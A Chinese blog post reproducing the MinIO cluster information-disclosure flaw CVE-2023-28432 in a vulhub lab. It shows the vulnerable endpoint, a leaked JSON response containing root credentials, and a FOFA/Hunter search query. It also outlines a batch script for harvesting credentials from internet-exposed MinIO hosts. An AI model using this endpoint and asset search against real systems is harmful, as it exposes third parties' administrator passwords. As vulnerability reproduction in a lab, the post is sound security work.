• MinIO集群模式信息泄露漏洞(CVE-2023-28432)


    前言:MinIO是一个用Golang开发的基于Apache License v2.0开源协议的对象存储服务。虽然轻量,却拥有着不错的性能。它兼容亚马逊S3云存储服务接口,非常适合于存储大容量非结构化的数据。该漏洞会在前台泄露用户的账户和密码。

    0x00 环境配置

    此次实验,我们继续使用P神的Minio的docker环境。启动环境:

    1. cd /vulhub-master/minio/CVE-2023-28432/
    2. docker-compose up -d

    启动完成后访问http://your-ip:9001为集群的web管理页面,另外http://your-ip:9000为集群的API接口。

    0x01 触发漏洞

    这个漏洞的节点存在于这个路径:http://your-ip:9000/minio/bootstrap/v1/verify
    对该路径发送POST请求会返回一段JSON数据:

    {"MinioEndpoints":[{"Legacy":true,"SetCount":1,"DrivesPerSet":3,"Endpoints":[{"Scheme":"http","Opaque":"","User":null,"Host":"node1:9000","Path":"/mnt/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},{"Scheme":"http","Opaque":"","User":null,"Host":"node2:9000","Path":"/mnt/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false},{"Scheme":"http","Opaque":"","User":null,"Host":"node3:9000","Path":"/mnt/data3","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false}],"CmdLine":"http://node1:9000/mnt/data1 http://node2:9000/mnt/data2 http://node3:9000/mnt/data3","Platform":"OS: linux | Arch: amd64"}],"MinioEnv":{"MINIO_ACCESS_KEY_FILE":"access_key","MINIO_CONFIG_ENV_FILE":"config.env","MINIO_KMS_SECRET_KEY_FILE":"kms_master_key","MINIO_ROOT_PASSWORD":"minioadmin-vulhub","MINIO_ROOT_PASSWORD_FILE":"secret_key","MINIO_ROOT_USER":"minioadmin","MINIO_ROOT_USER_FILE":"access_key","MINIO_SECRET_KEY_FILE":"secret_key"}}

    在该json字段中,我们可以看到MINIO_ROOT_USER字段包含账户名,MINIO_ROOT_PASSWORD字段包含账户的密码。所以该信息泄露其实就是API接口的信息泄露。我们可以根据这个特性,写一个批量的脚本文件来检测,并将其中的关键信息返回。

    0x02 POC利用

    先在FoFa或者鹰图上面收集跟MinIO集群相关的资产。
    banner=“MinIO” || header=“MinIO” || title=“MinIO Browser”
    脚本相关较为敏感,若有需要可以加群下载。
    其实脚本比较简单,就是向这个漏洞URL发送请求,判断返回包是否包含敏感字段。
    如果包含就说明有敏感JSON字段,最后对这个JSON数据进行解析,拿出其中我们需要的两个字段即可。下图为利用效果。

    0x03 加固建议

    升级官方最新补丁可以修复该漏洞。

  • 相关阅读:
    文件操作安全之-文件解析原理篇
    pair的用法
    用form表单以post的方式提交数据跳转地址
    云原生爱好者周刊:炫酷的 Grafana 监控面板集合
    ASCII码转HEX与HEX转ASCII码
    uniapp主题切换功能的第二种实现方式(scss变量+require)
    java 实习面经 —— 含大厂
    电脑QQ如何录制视频文件?
    Ajax基础原理及使用教程
    04【@RequestMapping注解详解】
  • 原文地址:https://blog.csdn.net/qq_69775412/article/details/132737562